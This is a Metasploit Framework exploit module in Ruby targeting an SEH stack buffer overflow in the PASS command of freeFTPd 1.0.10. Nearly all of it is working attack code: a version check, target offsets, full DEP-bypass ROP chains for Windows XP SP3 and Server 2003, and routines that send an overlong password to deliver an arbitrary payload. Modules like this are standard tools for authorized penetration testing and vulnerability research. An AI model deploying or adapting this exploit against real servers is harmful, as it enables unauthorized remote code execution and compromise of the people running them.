freeFTPd 1.0.10 PASS Command SEH Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow',  
'Description' => %q{  
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.  
credit goes to Wireghoul.  
  
},  
'Author' =>  
[  
'Wireghoul - www.justanotherhacker.com', # original poc  
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '96517' ],  
[ 'EDB', '27747' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh'  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x20\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass  
[ 'Windows XP Pro SP3 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C  
# Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass  
[ 'Windows 2003 Server SP2 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C  
# Wireghoul offset does not match mine, so using his offset as a credit to him  
#[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x00414226 , 'Offset' => 952 } ],  
[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],  
],  
'DisclosureDate' => 'Aug 21 2013',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /freeFTPd 1.0/)  
return Exploit::CheckCode::Vulnerable  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
buf = rand_text_english(1000)  
  
case target_index()  
when 0  
print_status("Target ID: #{target.name}")  
  
# rop skeleton using mona.py  
rop =  
[  
0x77c23960, # POP EBP # RETN [msvcrt.dll]  
0x77c23960, # skip 4 bytes [msvcrt.dll]  
#----------avoid null byte----------------  
0x77c53436, # POP EBX # RETN [msvcrt.dll]  
0x042444DE, # EBX = 0x042444DE  
0x77c4d04e, # POP EDX # RETN [msvcrt.dll]  
0xFBDBBB62, # EDX = 0xFBDBBB62  
0x77c2c7ae, # ADD EDX,EBX # POP EBX # RETN 0x10  
# 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040  
0xFBDBBD23, # EBX = 0xFBDBBD23  
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]  
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]  
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]  
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]  
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]  
0x77c4e392, # POP EAX # RETN  
0x042444DE, # EAX = 0x042444DE  
0x77c50c77, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN  
# 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201  
#-----------------------------------------  
0x77c3b1ad, # POP ECX # RETN [msvcrt.dll]  
0x77c62f18, # &Writable location [msvcrt.dll]  
0x77c46116, # POP EDI # RETN [msvcrt.dll]  
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]  
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]  
0x77c2aacc, # JMP [EAX] [msvcrt.dll]  
0x77c21d16, # POP EAX # RETN [msvcrt.dll]  
0x77c11120, # ptr to &VirtualProtect() [IAT msvcrt.dll]  
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]  
0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]  
].flatten.pack("V*")  
  
rop << make_nops(32)  
rop << payload.encoded  
  
buf[12,rop.length] = rop  
  
when 1  
print_status("Target ID: #{target.name}")  
  
# rop skeleton using mona.py  
rop =  
[  
0x77bb2563, # POP EAX # RETN [msvcrt.dll]  
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]  
0x41414141, # Filler (compensate)  
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]  
0x77bac27e, # POP EBP # RETN [msvcrt.dll]  
0x77be2265, # & push esp # ret [msvcrt.dll]  
#----------avoid null byte------------------  
0x77be1ef3, # POP EDX # RETN [msvcrt.dll]  
0xFBDBBB63, # 0x00000040-> edx  
0x77bcb691, # POP EBX # RETN [msvcrt.dll]  
0x042444DD, # EBX = 0x042444DD  
0x77bbd50e, # ADD EDX,EBX # POP EBX # RETN 0x10  
# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040  
0xFBDBBD23, # EBX** = 0xFBDBBD23  
0x77BDFE3E, # RETN (ROP NOP)  
0x77BDFE3E, # RETN (ROP NOP)  
0x77BDFE3E, # RETN (ROP NOP)  
0x77BDFE3E, # RETN (ROP NOP)  
0x77BDFE3E, # RETN (ROP NOP)  
0x77BC541C, # XOR EAX,EAX # INC EAX # RETN  
0x77be2219, # ADD EAX,42444DD # RETN  
0x77BDFE37, # ADD EBX,EAX # OR EAX, 3000000 # RETN  
# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201  
#-------------------------------------------  
0x77bcadff, # POP ECX # RETN [msvcrt.dll]  
0x77bf2cfc, # &Writable location [msvcrt.dll]  
0x77bd88b8, # POP EDI # RETN [msvcrt.dll]  
0x77bd8c05, # RETN (ROP NOP) [msvcrt.dll]  
0x77be3adb, # POP EAX # RETN [msvcrt.dll]  
0x90909090, # nop  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]  
].flatten.pack("V*")  
  
rop << make_nops(32)  
rop << payload.encoded  
  
buf[49+40,rop.length] = rop  
  
when 2  
print_status("Target ID: #{target.name}")  
  
buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded  
buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"  
buf[target['Offset'],4] = [0xfffff9eb].pack("V")  
end  
  
buf[target['Offset']+4,4] = [target.ret].pack('V')  
  
print_status("Sending exploit buffer...")  
send_user(datastore['FTPUSER'])  
send_pass(buf)  
  
handler  
disconnect  
end  
  
end  
`